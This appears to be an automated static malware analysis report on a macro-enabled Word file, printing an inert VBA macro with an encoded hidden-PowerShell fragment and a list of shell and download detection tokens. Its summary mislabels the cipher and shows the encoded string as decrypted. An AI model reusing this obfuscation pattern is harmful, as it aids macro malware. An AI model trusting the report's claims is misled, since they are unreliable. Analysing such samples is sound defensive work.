Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 77da97a6eeafca74…

MALICIOUS

Office (OOXML)

18.6 KB Created: 2021-07-16 10:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 5e625ea531f71d2ef597cbd6c403158f SHA-1: 5ce0bdb395e9cc8a13414376bf1d27e75022817c SHA-256: 77da97a6eeafca743bddc2f4d13c14f5329b27570aa6cdc2a6eb5e9379407c64
70 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML Word document containing a VBA macro. The macro includes a Document_Open subroutine, which is a common auto-execution technique. The script attempts to decrypt a hardcoded string using a simple XOR cipher with a key of 13. The decrypted string is '}|„r €uryy;r-:{|}-:dv{q|„€€�†yr-uvqqr{-:P|zzn{q:-', which appears to be obfuscated further or incomplete. The presence of the Document_Open macro and the obfuscated string suggests an attempt to download and execute a second-stage payload, characteristic of macro-based malware.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1139 bytes
SHA-256: 6287fc6b455068908c1f08602b855c75b54269797b38c8c1dff69857f00c0eed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function encrypt(strInput As String)
        Dim n As Integer, i As Integer
        n = 13
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) + n)
        Next i
        encrypt = strInput
End Function
    
Public Function decrypt(strInput As String)
        Dim n As Integer, i As Integer
        n = 13
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        decrypt = strInput
End Function
    
Private Sub ProcessImage()
    Dim str As String
         str = "}|„r €uryy;r…r-:{|}-:dv{q|„€€�†yr-uvqqr{-:P|zzn{q:-"
         ' Debug.Print decrypt(str)
    


End Sub

Private Sub Document_Open()
    ProcessImage
End Sub
















Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 7702f023f112cf60ab810cf8ea5ece234688083303218066f16b5fd6f6ca8616

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